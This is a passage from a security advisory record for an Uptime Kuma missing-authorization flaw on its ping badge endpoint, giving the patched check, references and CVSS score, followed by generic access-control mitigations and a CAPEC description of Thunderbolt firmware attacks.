monitor_group.monitor_id FROM monitor_group, \\`group\\`\n WHERE monitor_group.group_id = \\`group\\`.id\n AND monitor_group.monitor_id = ?\n AND public = 1\n`, [requestedMonitorId]);\n\nif (!publicMonitor) {\n badgeValues.message = \"N/A\";\n badgeValues.color = badgeConstants.naColor;\n}\n```\n\n\u003cimg width=\"1228\" height=\"710\" alt=\"Screenshot 2026-02-24 at 4 49 40\u202fPM\" src=\"https://github.com/user-attachments/assets/80aeae2d-be08-449f-8b39-c50da7aaedba\" /\u003e\n\n\u003cimg width=\"1271\" height=\"770\" alt=\"File Alons til View He\" src=\"https://github.com/user-attachments/assets/d50c9a00-282a-4b79-b5e1-f77afde9223a\" /\u003e",
"id": "GHSA-c7hf-c5p5-5g6h",
"modified": "2026-03-13T13:35:38Z",
"published": "2026-03-12T14:47:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-c7hf-c5p5-5g6h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32230"
},
{
"type": "WEB",
"url": "https://github.com/louislam/uptime-kuma/issues/7038"
},
{
"type": "WEB",
"url": "https://github.com/louislam/uptime-kuma/issues/7135"
},
{
"type": "WEB",
"url": "https://github.com/louislam/uptime-kuma/commit/303a609c05d0b174a5045c90f53c2b557d4febae"
},
{
"type": "PACKAGE",
"url": "https://github.com/louislam/uptime-kuma"
},
{
"type": "WEB",
"url": "https://github.com/louislam/uptime-kuma/releases/tag/2.2.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Uptime Kuma is Missing Authorization Checks on Ping Badge Endpoint, Leaks Ping times of monitors without needing to be on a status page"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.